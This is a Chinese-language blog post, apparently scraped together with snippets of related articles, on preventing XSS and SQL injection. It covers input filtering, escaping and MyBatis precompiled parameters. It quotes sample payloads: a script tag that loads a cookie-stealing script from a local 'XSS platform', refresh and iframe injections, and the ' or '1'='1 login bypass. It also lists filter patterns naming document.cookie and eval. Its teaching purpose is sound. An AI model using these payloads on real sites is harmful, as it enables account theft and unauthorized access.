XXS和SQL注入的预防

XSS:跨站脚本攻击
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的

常见的恶意字符XSS输入:
1. XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框
攻击方式:
如在界面输入框恶意输入代码 <script>alert(document.cookie);</script>
如果希望将这个cookie发到自己的xss平台,可以构造如下输入:
<script src=\"http://127.0.0.1:9999/static/get.js\"></script>
get.js里面加入CookieHelper.getCookie(‘password‘).value获取用户名密码等
2. XSS 输入也可能是 HTML 代码段,譬如:
(1) 网页不停地刷新 <meta http-equiv="refresh" content="0;">
(2) 嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>

实施XSS攻击需要具备两个条件:
1:需要向web页面注入恶意代码;
2:这些恶意代码能够被浏览器成功的执行

根据XSS攻击的效果可以分为几种类型:
1:XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
2:XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性

XSS攻击能做些什么:
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等
在一个表单文本框中写”> 提交表单时,会把文本中的字符当做script 代码解析出来。这个漏洞可用于钓鱼攻击或者窃取用户cookie 。从而登录他人账户。所以要对用户输入的信息进行校验,如果输入非法字符,要对其进行过滤或者提醒
解决方法:
1.在表单提交或者url参数传递前,对需要的参数进行过滤
在项目的web.xml配置filter过滤器 做一些正则表达式的检擦过滤
<!-- 匹配含有字符: alert( ) -->
<!-- 匹配含有字符: window.location = -->
<!-- 匹配含有字符: document.cookie -->
<!-- 匹配含有字符: eval( ) -->
<!-- 匹配含有字符: 含有一个符号: "或‘ -->
<!-- 匹配含有字符: <script> </script> -->
2.过滤用户输入的 检查用户输入的内容中是否有非法内容。(对特殊字符如”<”,”>”转义)
如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

sql注入 (‘%)
URL注入 在后台请求 数据库执行的SQL语句 在URL中嵌入恶意表达式‘or ‘1‘=‘1
防止SQL注入:
mybaits可以通过$ 改用# (因为MyBatis启用了预编译功能,#{}是经过预编译的,是安全的;${}是未经过预编译的
使用存储过程:动态SQL在应用程序中组装,之后被发送给数据库执行
处理敏感数据:通过验签、口令等(登录时通过用户提供的信息计算出来的加盐哈希与数据库中的哈希比较)

原文地址:https://www.cnblogs.com/webster1/p/12246153.html

时间: 2024-11-08 10:20:10

XXS和SQL注入的预防的相关文章

防XXS和SQL注入

对网站发动XSS攻击的方式有很多种,仅仅使用php的一些内置过滤函数是对付不了的,即使你将filter_var,mysql_real_escape_string,htmlentities,htmlspecialchars,strip_tags这些函数都使用上了也不一定能保证绝对的安全. 那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips 1. 假定所有的用户输入数据都是"邪恶"的 2. 弱类型的脚本语言必须保证类型和期望的一致 3.

sql注入的原理是什么,怎么预防sql注入

为什么会产生sql注入: 主要原因,对用户输入的绝对信任,相信所有用户的输入都是可信的,没有对用户输入的语句进行过滤或者筛选,直接放到sql语句中进行拼接,从而导致了sql注入的产生 例如: <php? id = $_GET['id']; sql = "select * from tables where id=$id limit 0,1"; ....... ?> 如果是正常的id等于数值之类,是没有问题的,但是id如果被恶意更改或者更改,我们原本的逻辑就会出现一系列的问题

怎么预防sql注入攻击

假设sql是搜索用户A的文章,sql会是这样: select * from table where owner='A'; sql注入攻击者会修改用户名来实现攻击,例如把A 改成A' or 1='1 组合后的sql语句: select * from table where owner='A' or 1='1'; 这样就可以获取所有用户的文章 可见,sql攻击就是把部分数据内容伪造成sql语句,例如上面把 or 1=伪造成sql语句来实现攻击 而伪造的方法,就是在内容里面加入引号,所以预防sql注入

预防SQL注入攻击

/** * 预防SQL注入攻击 * @param string $value * @return string */function check_input($value){ // 去除斜杠 if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // 如果不是数字则加引号 if (!is_numeric($value)) { $value = "'" . mysql_real_escape_string($valu

预防sql注入

前言: 这两天做项目的时候发现很多小地方没有注意js或者sql注入,平时登录都是md5加密,今天突然发现记录一下. 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 过程: 类似这种很简单的页面 ,可能sql语句写法都如下: select* form table where title ='活动' 但是懂点sql的人 ,可以输入' or ''=', select* form table where title ='

利用PreparedStatement预防SQL注入

1.什么是sql注入 SQL 注入是用户利用某些系统没有对输入数据进行充分的检查,从而进行恶意破坏的行为. 例如登录用户名采用  ' or 1=1 or username=‘,后台数据查询语句就变成 sql = select * from users where username='' or 1=1 or username='' and password='"+password+"'",由于sql中and的优先级比or高,所以整条查询语句等价于: sql = select *

SQL注入-预防

输入验证: 检查用户输入的合法性,确信输入的内容只包含合法的数据.数据检查应当在客户端和服务器端都执行服务器端验证,是为了弥补客户端验证机制脆弱的安全性. 输入验证最好使用“白名单”校验的方式. 输入转义: 每个DBMS都有一个字符转义机制来告知DBMS输入的是数据而不是代码,如果将用户的输入都进行转义,那么DBMS就不会混淆数据和代码,也不会出现SQL注入了. 最小权限法: 把每个数据库用户的权限尽可能缩小,在给用户权限时是基于用户需要什么样的权限.而不是用户不需要什么样的权限. 参数化查询:

9.7预防sql注入

检测实例:a' or 'a'='a [注]以下方法可以预防sql注入:其中prepareStatment.setString();其中的第一个参数为绑定sql语句中问号的位置(这里以1下标开始) 原文地址:https://www.cnblogs.com/jiafeng1996/p/12335432.html

如何对抗、预防 SQL注入 攻击

一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 三.SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样输入实现免帐号登录: 用户名: 'or 1 = 1 – 密 码: 点登陆,如若没有做特殊处理,那么这个